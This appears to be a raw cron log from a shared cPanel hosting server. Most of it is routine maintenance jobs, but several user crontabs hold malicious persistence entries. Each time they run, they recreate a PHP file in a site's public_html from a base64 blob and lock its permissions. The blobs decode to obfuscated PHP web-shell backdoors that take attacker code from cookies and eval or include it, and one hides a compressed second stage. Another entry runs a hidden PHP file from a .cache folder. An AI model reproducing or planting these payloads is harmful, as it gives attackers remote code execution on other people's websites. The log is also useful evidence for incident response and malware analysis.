Mar  2 08:43:01 medusa CROND[18961]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:43:01 medusa CROND[18962]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 08:44:01 medusa CROND[4327]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:44:01 medusa CROND[4504]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:44:01 medusa CROND[4505]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:44:02 medusa CROND[4507]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:44:02 medusa CROND[4508]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:44:02 medusa CROND[4510]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:44:02 medusa CROND[4511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:44:02 medusa CROND[4522]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:44:02 medusa CROND[4524]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:44:02 medusa CROND[4523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:44:02 medusa CROND[4525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:44:02 medusa CROND[4529]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:44:02 medusa CROND[4534]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:45:01 medusa CROND[24615]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:45:01 medusa CROND[24629]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:45:01 medusa CROND[24640]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:45:01 medusa CROND[24682]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:45:01 medusa CROND[24745]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  2 08:45:02 medusa CROND[25114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:45:02 medusa CROND[25115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:45:02 medusa CROND[25125]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:45:02 medusa CROND[25126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:45:02 medusa CROND[25127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:45:02 medusa CROND[25128]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:45:02 medusa CROND[25130]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:45:02 medusa CROND[25132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:45:02 medusa CROND[25129]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:45:02 medusa CROND[25137]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:45:02 medusa CROND[25182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:45:02 medusa CROND[25208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:45:02 medusa CROND[25211]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:45:02 medusa CROND[25210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:45:02 medusa CROND[25214]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 08:45:02 medusa CROND[25179]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:45:02 medusa CROND[25218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:45:02 medusa CROND[25212]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
